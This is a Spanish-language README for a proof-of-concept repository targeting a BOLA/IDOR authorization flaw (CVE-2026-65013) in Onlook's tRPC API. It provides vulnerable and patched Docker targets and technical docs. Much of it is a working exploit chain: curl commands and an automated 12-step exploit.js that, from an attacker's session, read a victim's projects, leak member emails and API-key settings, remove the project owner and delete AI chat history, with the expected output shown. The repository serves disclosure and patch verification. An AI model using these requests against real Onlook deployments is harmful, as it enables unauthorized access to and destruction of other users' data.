
Reproducible BOLA/IDOR PoC against Onlook's tRPC API (CVE-2026-65013), with a 12-step exploit chain, vulnerable and patched Docker targets, and technical documentation.
PoC reproducible de BOLA / IDOR en la API tRPC de Onlook (CVE-2026-65013).
Cualquier usuario autenticado puede leer, modificar y borrar proyectos,
miembros e historial de IA de otros usuarios con solo pasar sus UUID a los
procedimientos tRPC (versiones <= 0.2.32).
| CVE | CVE-2026-65013 |
| Advisory | GHSA-j6x3-f5cf-2pg4 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerable | Onlook <= 0.2.32 |
| Parche | commit 423e2e9 (PR onlook-dev/onlook#3129) |
| Documento | Contenido |
|---|---|
Onlook expone su backend por tRPC, y los procedimientos reciben el id del recurso directamente del cliente:
project.get({ projectId }) // lee cualquier proyecto
member.remove({ projectId, userId }) // expulsa a cualquiera
chat.conversation.delete({ conversationId }) // borra historial de IA
settings.get({ projectId }) // settings con API keys
El problema: la mayoría no verificaba que el llamante fuera miembro del proyecto. La conexión a Postgres (Drizzle) era un superusuario exento de Row Level Security, así que el control tenía que vivir en el código tRPC... y ahí faltaba.
Un helper verifyProjectAccess() ya existía (aplicado a un puñado de
procedimientos, p. ej. project.update/delete), pero el resto del surface
confiaba en el id del cliente: project.get, member.list, member.remove,
invitation.list, chat.conversation.*, chat.message.*, branch.*,
settings.*, frame.*…
La autenticación NO es el problema (JWT de Supabase funciona). Es autorización por objeto (BOLA/IDOR): el atacante usa su propia sesión legítima contra ids de la víctima.
lib/authorization.js contiene los helpers que faltaban (verifyProjectAccess,
verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess,
verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — el
equivalente del commit 423e2e9.lib/router.js los invoca solo si enforceAuth está activado; en el modo
vulnerable los procedimientos se ejecutan sin el chequeo (el bug real).Unauthorized or not found (UNAUTHORIZED), para que no se pueda enumerar la
existencia de recursos:
docker compose up -d --build
curl -s http://localhost:3000/health # {"status":"ok","fixed":false} → VULNERABLE
curl -s http://localhost:3001/health # {"status":"ok","fixed":true} → PARCHEADO
El Docker levanta el target (vulnerable y parcheado) más un servicio
demo. La explotación se hace desde tu máquina contra esos targets.
curl -s http://localhost:3000/demo/ids # ids del seed de la víctima (Alice)
Esto reemplaza el canal real por el que un atacante obtendría los UUIDs (link de preview compartido, referrer de logs, invitaciones…).
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H 'content-type: application/json' \
-d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')
# 3a. LEER el proyecto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}
# 3b. LISTAR miembros y emails (aun siendo ajeno al proyecto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# 3c. EXPULSAR a Alice (owner) de SU propio proyecto (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'
# → {"result":{"data":{"json":true}}} ← (Alice ya no está en su proyecto)
# 3d. BORRAR el historial de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'
node exploit.js)Ejecuta los 12 procedimientos de la cadena (leer proyecto, listar proyectos de Alice, filtrar emails, expulsar al owner, listar invitaciones, leer/borrar historial de IA, branches, settings con apiKey, frames):
node exploit.js # contra :3000 (vulnerable) → filtraciones
node exploit.js --target http://localhost:3001 --expect blocked # contra :3001 (parcheado)
Salida típica (vulnerable):
💥 project.get → FILTRADO
💥 member.remove → FILTRADO (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.
Contra el parcheado:
🛡️ project.get → BLOQUEADO (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.
La explotación muta la base en memoria del server vulnerable: para re-ejecutarla reiniciá esa instancia (
docker compose restart server).
npm run demo # compara VULNERABLE vs PARCHEADO en proceso (sin red), 12 procedimientos
bash test-local.sh # harness integral: curl (formato advisory) + exploit vs :3100 y :3101, exit code real
O en Docker:
docker compose up -d demo
docker logs cve-2026-65013-demo
open http://localhost:3000 # (o http://localhost:3001 para la versión parcheada)
Cuentas de demo:
project.getPreviewProjects), estado del
servidor (vulnerable/parcheado) y superficie tRPC.💥 FILTRADO / 🛡️ BLOQUEADO por
procedimiento.El frontend es presentación: la vulnerabilidad vive en
lib/router.jsy el flujo manual con curl del README sigue siendo el mismo.
.
├── Dockerfile node:22-alpine + deps + app
├── docker-compose.yml server (vulnerable :3000), server-fixed (:3001), demo — misma imagen, cambia FIXED
├── .dockerignore excluye node_modules
├── .gitignore
├── package.json @trpc/[email protected], @trpc/client, superjson, zod
├── server.js HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js PoC automatizado (cadena BOLA/IDOR de 12 pasos)
├── demo.js comparación vulnerable vs parcheado en proceso
├── test-local.sh batería local: curl (formato advisory) + exploits + exit code
├── lib/
│ ├── db.js base en memoria + seed (UUIDs estáticos y reproducibles)
│ ├── auth.js tokens de sesión HS256 (bien hechos a propósito)
│ ├── authorization.js helpers del FIX (commit 423e2e9) → "Unauthorized or not found"
│ └── router.js createAppRouter({ enforceAuth }) — el surface tRPC
├── public/ app "real" (login, dashboard, consola Red Team)
│ ├── index.html
│ ├── styles.css
│ └── app.js cliente tRPC manual (mismo wire format del advisory)
└── docs/
├── CVE-2026-65013.md documentación técnica de la CVE
└── ARQUITECTURA.md este repo explicado (mapa, wire format, extensión)
Para entender qué hace cada línea clave del exploit y cómo extenderlo a más procedimientos:
docs/ARQUITECTURA.md §8-§9.
Este material es solo para fines educativos y de investigación de seguridad. Usa el exploit únicamente contra aplicaciones propias o con autorización escrita del propietario. El uso no autorizado de esta técnica contra sistemas de terceros es ilegal y el responsable de su uso es quien lo realiza.
docs/CVE-2026-65013.md |
Técnica de la CVE: root cause (RLS exento + helper mal repartido), superficie afectada real, anatomía del ataque, análisis línea por línea del fix 423e2e9, remediación, referencias CVE/advisory/PR. |
docs/ARQUITECTURA.md | Del PoC: mapa de archivos, wire format tRPC v10+superjson, modelo de datos, esquema VULN vs FIX, tabla de procedimientos, mapeo PoC ↔ Onlook real, guía de extensión, validación/CI manual. |
// chat.conversation.delete — vulnerable (sin chequeo) vs parcheado:
enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
project.update queda protegido en ambos modos como "contraste": demuestra
que el helper existía, solo que estaba mal repartido.| Procedimiento | :3000 vulnerable | :3001 parcheado |
|---|
project.get (proyecto ajeno) | 200 + nombre/metadata | 401 Unauthorized or not found |
member.list (emails ajenos) | 200 + emails | 401 |
member.remove (expulsar al owner) | 200 true | 401 |
chat.conversation.delete | 200 true | 401 |
settings.get (apiKey) | 200 + settings | 401 |
project.update (contraste: ya estaba protegido) | 401 | 401 |
| Password | Rol |
|---|
[email protected] | alice123 | dueña del proyecto secreto |
[email protected] | bob123 | el atacante |
[email protected] | charlie123 | editor del proyecto de Alice |